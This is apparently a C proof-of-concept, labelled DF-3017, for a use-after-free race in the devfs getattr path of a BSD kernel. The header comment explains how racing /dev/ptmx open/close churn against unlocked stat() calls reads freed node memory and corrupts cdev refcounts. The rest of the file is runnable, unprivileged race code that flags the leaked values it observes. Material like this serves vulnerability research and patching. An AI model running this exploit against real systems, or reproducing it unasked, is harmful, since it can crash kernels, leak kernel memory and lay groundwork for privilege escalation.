/*
 * DF-3017 PoC: devfs_vop_getattr() unlocked UAF race (sys/vfs/devfs/devfs_vnops.c)
 *
 * Race:
 *   A-threads: open("/dev/ptmx") + close() churn.  Every iteration
 *     ptyclone() creates pts+ptm cdevs and devfs nodes under /dev/pts;
 *     last close -> pti_done() -> destroy_dev() x2 -> devfs core thread
 *     runs devfs_freep(): vget(vp) [vp is only ref'd, NOT locked by
 *     victims], v_release_rdev(vp), vp->v_data = NULL, and
 *     objcache_put(devfs_node_cache, node) -- the node memory is FREED
 *     and the cdev sysref is dropped.
 *
 *   B-threads: stat("/dev/pts/N") in a tight loop.  kern_stat() uses
 *     cache_vref() -- a ref only, NO vnode lock ("vp already has a ref
 *     and is validated, can call unlocked" -- kern/vfs_vnops.c vn_stat),
 *     and naccess() uses VOP_GETATTR_LITE which defaults to the full
 *     VOP_GETATTR -> devfs_vop_getattr(), which dereferences
 *     DEVFS_NODE(vp) and node->d_dev with NO vnode lock and NO devfs_lock.
 *
 * If B's getattr touches the node after devfs_freep() freed it, we get:
 *   - UAF read of node fields -> garbage leaks into struct stat
 *     (st_ino/st_nlink/st_uid/st_mode/st_size are attacker-observable),
 *   - reference_dev(node->d_dev)/release_dev() -> sysref refcount
 *     corruption on freed cdev memory,
 *   - dev_dflags(node->d_dev) & D_DISK -> deref of freed si_ops.
 *
 * Anomaly detection (normal pts node: S_ISCHR, st_nlink==1, st_size==0,
 * st_ino small sequential, st_uid == opener or root):
 *   flag anything deviating -> proof the getattr read freed/reused memory.
 *
 * Build:  cc -O2 -pthread -o df3017 df3017.c
 * Run (unpriv):  ./df3017 [seconds]
 */
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

static volatile int stop;
static long n_open, n_stat, n_enoent, n_err, n_anom;
static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

#define NUNITS 8
static const char *paths[NUNITS] = {
	"/dev/pts/0","/dev/pts/1","/dev/pts/2","/dev/pts/3",
	"/dev/pts/4","/dev/pts/5","/dev/pts/6","/dev/pts/7",
};

static void bump(long *c)
{
	pthread_mutex_lock(&lock);
	(*c)++;
	pthread_mutex_unlock(&lock);
}

static void report_anom(const char *path, struct stat *st)
{
	pthread_mutex_lock(&lock);
	if (n_anom < 40)
		fprintf(stderr,
		    "ANOMALY[%ld] %s: ino=%llu nlink=%llu mode=%o uid=%lu "
		    "gid=%lu size=%lld rdev=%lu\n",
		    n_anom, path,
		    (unsigned long long)st->st_ino,
		    (unsigned long long)st->st_nlink,
		    st->st_mode, (unsigned long)st->st_uid,
		    (unsigned long)st->st_gid,
		    (long long)st->st_size, (unsigned long)st->st_rdev);
	n_anom++;
	pthread_mutex_unlock(&lock);
}

/* Device churning: open+close /dev/ptmx as fast as possible */
static void *churn(void *arg)
{
	(void)arg;
	while (!stop) {
		int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd >= 0) {
			close(fd);
			bump(&n_open);
		} else {
			bump(&n_err);
			usleep(100);
		}
	}
	return NULL;
}

/* Victim: stat() the transient pts nodes with no lock held */
static void *statloop(void *arg)
{
	long id = (long)arg;
	int i;
	(void)arg;
	while (!stop) {
		for (i = 0; i < NUNITS; i++) {
			struct stat st;
			const char *p = paths[(i + id) % NUNITS];
			if (lstat(p, &st) == 0) {
				bump(&n_stat);
				if (!S_ISCHR(st.st_mode) ||
				    st.st_nlink != 1 ||
				    st.st_size != 0 ||
				    st.st_ino > 10000000ULL) {
					report_anom(p, &st);
				}
			} else if (errno == ENOENT) {
				bump(&n_enoent);
			} else {
				bump(&n_err);
			}
			/* naccess() path: VOP_GETATTR_LITE -> VOP_GETATTR */
			if (access(p, W_OK) == 0 || errno != ENOENT)
				; /* result irrelevant */
		}
	}
	return NULL;
}

int main(int argc, char **argv)
{
	int secs = (argc > 1) ? atoi(argv[1]) : 60;
	int nchurn = 3, nstat = 8;
	pthread_t th[32];
	int nth = 0, i;
	struct timespec ts0, ts;

	/* warmup: create /dev/pts */
	{
		int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0) {
			perror("open /dev/ptmx (run as unpriv user, mode 0666 expected)");
			return 2;
		}
		close(fd);
	}
	clock_gettime(CLOCK_MONOTONIC, &ts0);
	printf("DF-3017 racer: %d churn + %d stat threads for %ds\n",
	    nchurn, nstat, secs);

	for (i = 0; i < nchurn; i++)
		pthread_create(&th[nth++], NULL, churn, (void *)(long)i);
	for (i = 0; i < nstat; i++)
		pthread_create(&th[nth++], NULL, statloop, (void *)(long)i);

	for (i = 0; i < secs; i += 5) {
		int rem = secs - i;
		if (rem > 5)
			rem = 5;
		sleep(rem);
		clock_gettime(CLOCK_MONOTONIC, &ts);
		printf("[%3lds] open+close=%ld stat_ok=%ld enoent=%ld "
		       "err=%ld ANOMALIES=%ld\n",
		    ts.tv_sec - ts0.tv_sec,
		    n_open, n_stat, n_enoent, n_err, n_anom);
		fflush(stdout);
		if (n_anom)
			break;
	}
	stop = 1;
	for (i = 0; i < nth; i++)
		pthread_join(th[i], NULL);

	printf("done: open+close=%ld stat_ok=%ld enoent=%ld err=%ld "
	       "ANOMALIES=%ld\n", n_open, n_stat, n_enoent, n_err, n_anom);
	return (n_anom ? 1 : 0);
}
